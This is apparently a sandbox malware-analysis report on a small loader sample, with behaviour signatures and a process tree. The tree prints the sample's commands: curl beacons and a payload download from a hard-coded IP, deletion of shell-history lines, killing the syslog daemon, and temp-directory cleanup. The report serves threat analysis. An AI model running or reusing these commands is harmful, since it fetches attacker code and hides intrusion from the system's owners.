Analysis

  • max time kernel
    3s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/08/2026, 12:16

General

  • Target
    411f7d3bff31a
  • Size 4KB
  • Sample260805-pffftafl9w
  • SHA256 829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/411f7d3bff31a
    /tmp/411f7d3bff31a
    1⤵
      PID:644
      • /bin/date
        date "+%s"
        2⤵
          PID:653
        • /usr/bin/whoami
          whoami
          2⤵
            PID:662
          • /bin/mktemp
            mktemp -d
            2⤵
              PID:670
            • /bin/mkdir
              mkdir -p /root/Library/Caches/com.apple.system
              2⤵
                PID:671
              • /usr/bin/arch
                arch
                2⤵
                  PID:673
                • /usr/bin/getconf
                  getconf DARWIN_USER_CACHE_DIR
                  2⤵
                    PID:676
                  • /usr/bin/pkill
                    pkill -9 -f com.apple.syslogd
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:678
                  • /bin/sleep
                    sleep 0.4
                    2⤵
                      PID:682
                    • /usr/bin/id
                      id -u
                      2⤵
                        PID:685
                      • /bin/uname
                        uname -r
                        2⤵
                          PID:687
                        • /usr/bin/base64
                          base64 -D
                          2⤵
                          • Deobfuscate/Decode Files or Information
                          PID:690
                        • /usr/bin/tr
                          tr -d " \\n"
                          2⤵
                            PID:694
                          • /usr/bin/head
                            head -c8 /dev/urandom
                            2⤵
                              PID:692
                            • /usr/bin/od
                              od -An -tx1
                              2⤵
                                PID:693
                              • /bin/uname
                                uname -m
                                2⤵
                                  PID:696
                                • /usr/bin/curl
                                  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"e0b128550e176379\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 5
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:695
                                • /usr/bin/head
                                  head -c 32
                                  2⤵
                                    PID:699
                                  • /bin/sed
                                    sed -i "\$d" /root/.zsh_history
                                    2⤵
                                      PID:701
                                    • /usr/bin/curl
                                      curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://46.226.162.241/211f79a06c?force=1" -o /tmp/tmp.j6PRKkm6wM/.o7kQID
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:702
                                    • /bin/sed
                                      sed -i "\$d" /root/.bash_history
                                      2⤵
                                      • Reads Bash history
                                      PID:703
                                    • /usr/bin/getconf
                                      getconf DARWIN_USER_CACHE_DIR
                                      2⤵
                                        PID:705
                                      • /usr/bin/curl
                                        curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"e0b128550e176379\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 3
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:706
                                      • /bin/rm
                                        rm -rf /tmp/tmp.j6PRKkm6wM
                                        2⤵
                                          PID:707

                                      Network

                                            MITRE ATT&CK Enterprise v16

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